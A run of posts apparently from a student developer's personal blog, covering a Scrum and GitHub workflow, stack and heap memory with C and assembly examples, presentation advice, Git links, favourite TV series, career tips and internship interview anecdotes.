There is also an official Agile Manifesto that tries to describe it more precisely, based on twelve principles. From that original manifesto have appeared dozens of practices that we refer to as "Agile methods". I won't explain them here as it is not the purpose, for more information visit the Wikipedia page.

The one we picked is called Scrum. Again, I won't explain it here but will instead expose the workflow we adopted, derived from it. For a better comprehension, I recommend you read the Wikipedia page.

Basically, at the very beginning of the project, the CTO would meet client and discuss with them. As a result, he would obtain detailed specifications from them. Then, all together, we would brainstorm and define Milestones, which are fundamentally the most important steps to a final product. For instance, from scratch, we would aim at developing a MVP (which is a working product, see the picture below), then progressively add features, grouping features under Milestones. As a reminder, "Milestones" is a feature of GitHub. Each Milestone would last a week, tops. In Scrum, Milestones are called Sprints.

Starting with an MVP is the right way to go. The client is always satisfied as they would get a working copy of the product being-developed, at each stage, continuously getting improved. They would not have to wait for weeks or months before being able to test anything.

*Courtesy of [Henrik Kniberg](https://twitter.com/henrikkniberg/status/685474589539983360)*

Then, each developer would get assigned or choose a few features from the first Milestone until completion. Every morning, we would gather for a 10-minute stand-up meeting, during which everyone would say what they did the previous day and what is left to do, especially regarding the current day. Standing forces us to speak concisely and don't waste each other's time, since it is not as comfortable as being sat down.

At the end of the Milestone's week, we would merge all the Pull requests resulting from the features, then review all together all the work done, conduct tests and create issues on GitHub to be resolved before starting the next Milestone. Eventually, we would readjust the remaining Milestones when needed.

This would go on until completion of the final Milestone, which is supposed to bring all the features originally requested by the client.

Sometimes, the part "Bug fixing" would require extra-time. In such a case, we would extend that part onto the next week, only assigning one person, so that the rest of the team could stick strictly to the rule "a Milestone per week". But that rarely happened fortunately.

Mix them all

As a brief conclusion, when thinking back at all the parts of our workflow, one can see that it's an entire whole in which GitHub plays a key-role. Being organized, knowing everyone's role and keeping in mind goals to reach are important as well, just like the tools we decided to go with. Furthermore, being able to release intermediate versions, quickly, allowed us to give constant feedback to the client, which is reassuring.

This workflow is surely perfectible, but until now it has proved really efficient.

I hope this article was helpful. It's a good start with Continuous Integration. First, focus on your workflow (especially with Git) and then set up the right tools (including Travis) and you're good!

Resources to go deeper

Android

Understanding The Memory

2015-06-26T01:11:00+02:00

Understanding memory management can be a bit difficult for beginners. However, it's still one of the most important things every developer should know. You'll need to know how it works to write memory-efficient code, to avoid stack overflows. This is especially true when developing for mobile platforms that have very limited memory. Today's cheapest smartphones have an average of 512MB memory. Android will kill any app that consumes too much memory with even warning you. So be careful beforing allocating too many objects.

Nows, let's have a look at memory and let's try to understand how it works.

Processes and threads

Basically, when a program is launched, the operating system grants it a certain space in memory. The allocated memory contains four main areas:

Data: contains the global and static variables (explicitly initialized with a non-zero or non-NULL value, according to Wikipedia) used by the program. The content of constants is on the data segment, whereas references to constants are on the code (see next bullet point). The BSS segment (which is usually adjacent to the data segment) contains all global variables and static variables that are initialized to zero or do not have explicit initialization (in such a case, they are implicitly initialized to 0). The BSS segment can be considered a part of the data segment.
Code segment: contains the assembly code of the program to be executed.
Heap: contains all dynamically allocated primitive data types or objects (with malloc in C or new in C++, for instance). The developer is in charge of the lifetime of these variables, he has to explicitly deallocate memory (with free in C or delete in C++).
Stack: it's a LIFO structure. It basically contains all variables being declared inside functions. Every time you enter in a function, a stack frame is created for it. Every time you pass arguments by values to these functions, the arguments are copied to the stack. If you pass references or pointers, their content (an address) is also copied in order to be passed to the function. All the variables on the stack live only inside the function. When the function returns, they are destroyed and the corresponding allocated memory is freed. Stack values only exist within the scope of the function they are created in.

Image taken from http://www.linuxjournal.com/article/6391

int add(int a, int b) {
    return a + b;
}

int main() {
    int c = add(1,2);
    return 0;
}

Let's see how this code gets compiled in x86 assembly.

gcc -S -masm=intel main.c -fno-asynchronous-unwind-tables -o output.asm

Now, we'll see the instructions using the stack.

    .file   "main.c"
    .intel_syntax noprefix
    .text
    .globl  add
    .type   add, @function
add:
    push    rbp
    mov rbp, rsp
    mov DWORD PTR [rbp-4], edi
    mov DWORD PTR [rbp-8], esi
    mov edx, DWORD PTR [rbp-4]
    mov eax, DWORD PTR [rbp-8]
    add eax, edx
    pop rbp
    ret
    .size   add, .-add
    .globl  main
    .type   main, @function
main:
    push    rbp
    mov rbp, rsp
    sub rsp, 16
    mov esi, 2
    mov edi, 1
    call    add
    mov DWORD PTR [rbp-4], eax
    mov eax, 0
    leave
    ret
    .size   main, .-main
    .ident  "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609"
    .section    .note.GNU-stack,"",@progbits

Threads can be seen as sub-processes, although they belong to a specific process. Thus, they share the same virtual space (same data segment, etc). Only one thing is unique to each thread: they all have their own stack.

Allocating memory for objects and primitive data types

C++

Every dynamic allocation goes to the heap. The rest on the stack. So every left handside part of the following lines (what is on the left of the equal sign) is on the stack.

Global variables and static variables (not only global) go to the data segment.

Here are some examples, to make things clear:

void fonction() {
  Object o(); // On the stack
  Object o2 = Object(); // On the stack
  Object& ref = o; // The reference is on the stack
  Object* pt = &o; // The pointer is on the stack
  Object* pt2 = new Object(); /* The right handside (the actual object)
    is on the heap, the left handside is on the stack */

  /* Everything that has been allocated on the stack will be
    deleted at the end of the function */
}

To delete what is on the heap, you need to use the delete keyword.

Java

The main difference is that objects on the heap are automatically destroyed by the garbage collector, once they are no longer referenced. Moreover, only primitives are on the stack. All the objects are allocated on the heap. However, references (which are addresses) are passed as arguments to functions on the stack.

That's all folks!

How To Give A Good Presentation

2015-06-16T01:49:00+02:00

Since I graduated from High School, I've had the chance to attend a lot of presentations (talks, conferences, lectures), given either by students to teachers, or by some non-student people. Most of them are tech people. I would like to distinguish two kinds of presentation:

Those given by students or employees, often at the end of projects, or to explain quite serious things, or to expose problems. I will call them “formal presentations”
Those given by any kind of people, aiming at making the attendees discover technologies, languages, tools. I like to refers to these lecturers as evangelists. I will now call these presentations “informal presentations”, since they rarely happen in a professional or university context.

Now let's get started with some pieces of advice. Then, you can go even further by reading this great article about 10 presentation anti-patterns.

Know your topic

This may sound obvious and yet, some people (they're pretty rare) don't know perfectly their topic. They hesitate, or even worse, say absolute nonsense. Prepare your topic if you're not very familiar with it, but know it.

Know your speech (or pitch)

Knowing your topic is not enough. You will often be granted an allocated time. To avoid exceeding that time, rehearse a lot before going on stage. No secret, just repeat until you feel confident with your time management.

Smile

This is really true for “informal presentations”, but it also applies to “formal presentations” (but don't overdo it). Show your audience you're happy to be there. Then, it will help you deliver your message. Set aside your problems. No sound on the computer? It doesn't matter, apologize and keep on smiling. The demo failed? It's OK. Do not show signs of stress. Crack a joke about it (if appropriate, depending on the audience).

Filming?

Add the slides on the righthand side, inside the video. It's a terrible thing for those who will watch you online, if you make a joke about what is on the slides and they cannot actually see them.

Also, when asked a question, make sure that the speaker repeats the question in the microphone, so that the web audience can understand the answer. Another alternative is to use two microphones, but this is not very handy, since someone has to move the microphone around everytime a question is asked.

Look at the audience

Attendees can easily get distracted. Establish a privileged contact with them. Don't look at your slides. I know it's really hard not to, but try to find a way to get a display in front of you that reminds you of the slide you are on. People will give you credit. On top of that, you would also benefit from speaking slowly, at an understandable pace so that you don't lose anyone in your thoughts. Allow people to concentrate and understand what you just said: mark pauses between slides, when need be.

The Art of Creating Slides

The content

A 140-character-long slide is OK, but not more! Use simple words (often keywords) and images or videos (as backgrounds). Funny slides help a lot, people won't get bored.

Avoid PowerPoint and LibreOffice Impress

You have no guarantee that the version of PowerPoint (or LibreOffice) you'll find on the computer is the same as yours. What's more, not everyone can afford Microsoft Office suite. The “source code” of a slideshow should be a text file, and the output should be a PDF file. Stick to this rule and everything's gonna be fine!

Giving a “formal presentation”? Use LaTeX to generate the PDF. Otherwise, use Markdown to generate your PDF. There are a lot of tools for that. Personally, on Linux, I recommend Pandoc.

Why LaTeX? The formatting looks very professional. Just like scientific reports are always writtin with LaTeX, your slides should be as well.

Why Markdown for your “informal presentations”? It allows you to create your slides in only a couple of minutes. Don't spend too much time on transitions, nor on the colors, etc. The only things that matters is the content, and Markdown is all about content. You can even get some help from my own slides.

Next slide, please

Don't rely on anyone but yourself to switch between your slides! Whenever possible, use a cheap remote controller (a presenter).

Holding the microphone the right way

Place the microphone on your chin. If you have a beard, put your thumb between your chin and the microphone to avoid rustling noises. That's the only way of keeping a constant and good sound level.

I know these pieces of advice can sometimes be hard to follow, I also made and still make a lot of mistakes, but I am constantly trying to improve myself. Watch your past presentations, notice what you did wrong and keep on improving yourself. Good luck!

Git

2015-06-03T00:01:00+02:00

Here are two talks about Git I gave in the last two years, at HumanTalks Compiègne. I added the slides as well.

Slides are available in HTML.

Going further

Here are some resources to go deeper with Git.

General

Rebasing and cherry-picking

Rebases mostly use git am, which given diffs apply them sequentially. Diffs are computed between a given commit and its parent.

On the other hand, cherry-picks uses a three-way merge to notice file renames.

Auto deployment

Commit messages

Sub-projects management: submobules and subtrees

Using Git subtrees for repository separation
Submodules GIT: pourquoi, comment ?
Comprendre et maîtriser les submodules Git
Subtree Merging (official documentation)
Mastering Git subtrees: git read-tree and git subtree are two different commands.
The power of Git subtree

Tricks

The TV series I watch

2015-06-02T01:00:00+02:00

The past decade offered us a bunch of high-quality TV series. Here are my favorite ones (not sorted).

Shows still running

Pluribus
Black Mirror
Stranger Things
Lupin
Tribes of Europa
Formula 1: Drive to Survive
Squid Game
Tales of the Walking Dead
The Walking Dead: Dead City
The Walking Dead: Daryl Dixon

Ended or Canceled TV series

The Walking Dead
Fear The Walking Dead
The Walking Dead: World Beyond
The Walking Dead: The Ones Who Live
Tour de France: Unchained
Paper Girls
Ted Lasso
La Casa de Papel
Altered Carbon
Vikings
Mr. Robot
Game of Thrones
Breaking Bad + El Camino (a Breaking Bad movie ) + Better Call Saul
Silicon Valley
Revolution
Halt and Catch Fire
Sun Records
Dark

TV shows I dropped

The 100 (after season 2 or 3)
Sense 8 (after the very sexual episode, a Christmas special)
Legion (after season 2, episode 7)
Westworld (after season 2)
Narcos (I watched season 1 and 2 for sure - 3 I am not so sure)

I Want To Be A More Efficient Developer

2015-05-25T17:17:00+02:00

This article is mainly aimed at junior software engineers. It's kind of a set of tips to improve your everyday workflow, be a better programmer, find your dream job, or more generally, improve your skills in Computer Science.

As a Software Engineering Student, I meet every day a lot of people learning programming languages, trying to build databases, creating websites. We, at the UTC, have a lot of projects, each semester. I feel so sad each time they fail at using best practices. Among them, the worst, in my opinion, is being stuck in Windows, the operating system. They simply miss a lot of things. They are ignorant, they have no idea how their computers work. But that's my opinion. Now, let's begin with a list of best practices I've learnt from great people.

Use the right tools

GNU/Linux

Or at least a Unix-like system. The terminal should be your best friend, be familiar with it. It's a lot more powerful than user interfaces. Unless you want to be a web designer, you must know how GNU/Linux works. Why? Because almost ALL servers rely on Unix systems. Another argument would be privacy, but that's another topic.

There are plenty of user-friendly distributions, like Ubuntu or Xubuntu (my favorite one). As Windows users, you will hardly notice any difference, except for software compatibility. But hey, there are alternatives. And yes, you can keep Winodws on a separate partition for video games. I also wrote an article about GNU/Linux.

Git

I've seen sooo many people sending each other source code via emails, or worse, Google Drive! What a pain in the ass! A lot of tools exist, such as Subversion, Mercurial, or Git. Obviously, Git is my favorite one (one of the reason is because it's Linus Torvalds himself who wrote it). And it's also more powerful than any other tool. For more information, checkout my talk about Git.

Show the world what you've done

Every programmers should have public Git repositories. Github is a good platform for exposing your source code publicly, for free. I've heard a lot of recruiters asking for source code to browse, in order to see what you do, how good your code is (or is not), what kind of personal projects you have. They want to make sure you'll write good code if they hire you. Having many projects available on the Internet is also a proof that you're passionate about Computer Science. That's a huuuuge plus!

Github. Recruiters love it. Literally.

A blog is another good way to express your feelings, write down your thoughts, your discoveries. Setting up a blog doesn't take more than 5 minutes!. Further reading about blogs here.

Great inspiration from... inspirational people

Learn from them. They're all around us, just find them. Go to conferences, follow them on Twitter, read blog posts. During my last internship, I met a lot of talented people. I learnt a lot from them at that time. They're full of good advice. They have experience (and you don't, as a student).

Never stop learning

What's more, be curious! And, read, read a lot.

RSS is not dead and is still a really good ally to be kept up-to-date with the latest news in Computer Science. RIP Google Reader, long live FreshRSS!

Be a super-programmer

Some basics I used to neglect... but now I regret. Every programmer should know those basic things. Once again, it helps a lot when it comes to interviews (for either an internship or a job). And this will be useful all your life. The Joel Test is also a good indicator about how good your are with code.

Pair programming is an incredible way to learn from your friends (or teach them) as well.

Data structures and Memory management

Know the basic data structures, such a hash tables, primitives, etc. Those are the very basics of every programming language. You can't avoid them.

You use Java everyday? Then you should know everything about Java memory management. Where are stored primitive types and objects? Stack? Heap? Doing C++? Where are stored lvalues, rvalues? And so on... A brief explanation about memory is in one of my articles

This kind of advice applies to every language you claim to know.

Sorting algorithms

Know them. At least bubble, merge, quick sort, etc. Here is a great website. Half the time, recruiters will ask you something about array sorting or things like that. And most of all, know their complexities!

Backup every little thing that is on your computer/servers

Consider everyday as the day your PC is gonna die. Projects should go to Github (or alternatives) if they are not confidential, personnal files to external hard drives (backed-up as well, so use at least two hard drives) or to the Cloud (I personally installed ownCloud on one of my servers). Once again, backup everything. Losing a whole hard drive disk is such a terrible thing, you can't predict nor prevent it. Be prepared. And for sure, you're gonna experience it, sooner or later.

English, English everywhere

Programming languages use English words, manuals are mostly written in English, almost everything in the Computer Science World is in English. So you'll have to get used to it. Be fluent. Set-up your devices to be in English. Same thing for your computer(s). Watch talks given in English. You will have to write English documentation, even though your company is not English. I wish every software engineer was bilingual, it would make things way easier. And guess what, learning a foreign language is not that hard!

Know how to use search engines

People whom repeatedly ask you simple things are such a pain! We have the entire world at our fingertips, thanks to the Internet. And we have Google. So please, Google everything! Google is smarter than us (or at least, he knows much more things). But first, learn (by yourself) how to use it. For instance, don't type whole sentences, use keywords.

Teach

Teaching people around you is a great way to stay "up-to-date". Sharing your knowledge, your passion, allows you to first organize ideas, sort them out, remove what's unnecessary. You then reach an even greater understanding of what you believed to know. Giving talks on a regular basis is a good way to practice.

Bonus

A while ago, I came upon this talk, given by Quentin Adam (CEO of Clever Cloud) at Mix It 2014. Last year, I had been given the opportunity to do an internship at WhoWanna, a French startup. Back then, we were working in the same open space as Clever Cloud. Consequently, I was working very close to Clever Cloud, thus Quentin Adam. And I can tell you, he is a very good developer, and above all, a very good CEO, full of good advice. But let's move on to his talk.

The full talk (video), with its slides, is accessible here. For those of you that don't have the time to watch it, I summed up the content right below. But the video is worth it, you should watch it (although it's in French, the slides are in English).

For your information, the article's title is shamelessly copied/inspired from his talk :-)

Sum up (in order of appearance)

Be happy: always try to work on projects you love. Work processes matter. Why people are happy? Cause they know that, as developers, they solve problems. They're not useless at all. Get inspiration from Open Source.
Get the right environment: work wherever you feel good. As developers, we only need a laptop and an Internet connection.
Be able to deploy seamlessly: release early, deploy often. This step should be easy. without any human interaction. Be focus when you code, on your code, not on deployment. You should be context-free: your application should not depend on the production environment. What's more, everyone should be able to deploy, not only one person. The team should not rely on a single person.
Deploy as often as possible: ideally, many times a day.
Split your apps into small modules: then you'll get a smaller codebase for each app. Each module is a service for other modules: use HTTP or AMQP between them.
Use the relevant technology, not the one you prefer: the language (or any other related tool) should be chosen according to your needs.
The two previous points refer to the KISS philosophy
Use online databases: then you'll be ready to test in a few minutes. Your sys admins will love you: they won't have to edit any conf file.
Make all deployments asynchronous, module by module
Avoid host-specific things: refers to point 3.
Do not use file system to store something: not its purpose. It doesn't scale. Use databases, or external services such as Amazon S3.
Modularize your team: avoid meetings, they're painful and almost useless. If anyone in your team has trouble, there's a problem. You have to maintain an internal documentation, clear, accessible to everyone, that gives you a good overview of your infrastructure.
Know your code and trash it if needed: it's sometimes an excellent idea to rewrite a whole module.
Use the right tools: no one should be forced to use a specific IDE.
Use a version control system for code and APIs, log EVERYTHING: you'll then know if an old API is still used. Ideally, use Git.
Use HTTP the right way: wanna throw an error? Use 40x or 50x codes. The body of a request is just complementary information.
Use a build manager and a configuration library: anyone should be able to build your application, no matter what IDE or platform you use (also refers to point 14). Don't hardcode your variables or settings.
Learn Git: ideally, use the command line interface. It's far more powerful than graphical tools, and more clear.
Avoid early performance optimization: compilers often optimize your code. Promote code readability. You will measure your code performance later.
Always think like it's your first day on the project: is the project easy to compile and run? Is the documentation clear? Make things easier for other developers.
Documentation matters, a lot: write everything. Oral communication is not as efficient as a good documentation. Refers to point 12.

Hope you'll find it useful.

Well, that's all for this article. Some very simple tips to follow, and then you'll become a real software engineer (in my opinion, at least).

(Re)Learn A Programming Language Quickly

2015-05-22T17:17:00+02:00

When I need to learn a programming language quickly, or just recall it, I often use a few tips, very simple.

Data Types

Also known as primitive data types. Data types are the very basis of every programming language. Knowing them allow you to manipulate variables, arrays, functions, etc. Generally, there are less than 10 of them. For example, Java has the following primitive data types:

byte
short
int
long
float
double
char
boolean

String could also be considered as a primitive data type since it doesn't require the keyword new to be instanciated.

Keywords

While we're on the subject, keywords (also called "reserved words") are another excellent way to quickly recall a programming language. Here again, they are not so numerous, generally around 50. Here are some keywords in Java:

abstract
boolean
break
case
class
continue
default
...

Those words are reserved and used by the compiler, that's why you can't use them as variable names for example. Consequently, they give you a pretty clear overview of what you can do with each language. Furthermore, if you've already learnt that language, you'll then quickly remember what each keyword means. Then, just iterate through those keywords and in less than 5 minutes, you'll remember everything about this language!

The main function

Each language has its own approach. Here are some of them:

Java

public static void main(String[] args) {
    ...
}

C

int main(int argc, char *argv[])
{
    ...
    return 0;
}

Python

def main:
    ...
if __name__ == "__main__":
    main()

Don't forget to know this function!

Have a look at some of your previous projects... or code

Giving a quick look at projects helps a lot! Try to look at the basics: inherited classes, overloaded and overriding functions, asbstract classes, IO functions, etc. If you have time, try to code some of them again!

How Not To Get Hired

2015-05-22T13:33:00+02:00

Recently, since I was looking for a 6-month internship in software development, I applied to many US companies. As I really wanted not to get hired, I stricly followed some basic mistakes in order to succeed... Of course I'm joking! The following are some things I did... that you should avoid.

Put your photo on your resume

Everyone knows, adding your photo on your resume is a really good thing. The recruiter will be pleased to see your lovely face.

(phone rings)
- Hello?
- Hi! I'm the recruiter. WHY DID YOU SEND ME A RESUME WITH YOUR PHOTO?!
- ...

The phone interview looked like something like that. Avoid it.

Ask to be reached on a different phone number than the one on your resume

Adding your mobile phone number on your resume might be a good idea since it enables you to be reached wherever you are. But for international calls, the audio quality gets a bit worse than with a landline phone. That's why I gently asked, by email, to be reached on my landline phone. The recruiter totally ignored it, called me on my cell phone and got very angry with me when I said that I would prefer my landline phone. However, he called back a minute later the correct number.

Don't know the algorithms you wrote

Sometimes, recruites merely send you a text file with lots of technical questions, such as algorithms to write, code to fix, etc. Then, when it comes to face to face interview, the recruiter is very likely to ask you to prove your algorithms. It can be about:

Complexity: give the complexity of your algorithms and explain how you calculate it
Prove that it works for every case (basically it's: loop invariant, pre-conditions, inductive step, post-conditions)
Provide alternative algorithms (or alternative implementation when dealing with OOP)

Don't sleep enough the previous night

So that you'll seem so tired that you won't impress anyone. And worse, you won't be able to think, your brain will be so slow that you'll get confused at every sentence you'll hear.

“ We won't move forward with your candidacy ”

Congratulations! If you ever received this, that means that you carefully followed every point in this article.

Good luck!